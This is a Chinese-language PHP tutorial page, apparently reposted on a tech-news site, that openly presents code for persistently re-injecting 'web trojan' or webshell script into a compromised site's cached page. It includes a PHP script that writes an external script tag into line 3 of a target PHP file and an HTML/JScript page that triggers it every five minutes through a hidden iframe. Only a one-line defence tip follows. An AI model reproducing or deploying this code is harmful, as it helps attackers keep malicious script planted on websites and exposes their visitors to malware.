php在文件指定行中写入代码的方法

2015-01-24信息快讯网

有的站主页是缓存页面,你加入的网马代码或是webshell代码经常被更新或是其它的因素干掉,所以弄了这个代码,防范方法脚本之家将最后给解决方法

 
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?> 

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
 
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML> 

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
深入PHP数据加密详解
php多个字符串替换成同一个的解决方法
基于PHP读取csv文件内容的详解
解析CodeIgniter自定义配置文件
Yii PHP Framework实用入门教程(详细介绍)
解析PHP工厂模式的好处
解析PHP跨站刷票的实现代码
解析PHP SPL标准库的用法(遍历目录,查找固定条件的文件)
360通用php防护代码(使用操作详解)
解析PHP计算页面执行时间的实现代码
php抽奖小程序的实现代码
解析PHP生成静态html文件的三种方法
使用Smarty 获取当前日期时间和格式化日期时间的方法详解
PHP获取当前日期所在星期(月份)的开始日期与结束日期(实现代码)
解析php中heredoc的使用方法
深入PHP5中的魔术方法详解
php.ini 配置文件的深入解析
PHP中将网页导出为Word文档的代码
php替换超长文本中的特殊字符的函数代码
php提示undefined index的几种解决方法
openflashchart 2.0 简单案例php版
PHP中去掉字符串首尾空格的方法
有关PHP中MVC的开发经验分享
php的array_multisort()使用方法介绍
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
php文件操作实例代码
PHP 杂谈《重构-改善既有代码的设计》之五 简化函数调用
PHP中数组的三种排序方法分享
php截取后台登陆密码的代码
php在线代理转向代码
PHP 基于文件头的文件类型验证类函数
php 文件上传实例代码
php递归创建和删除文件夹的代码小结
PHP文件注释标记及规范小结
©2014-2024 dbsqp.com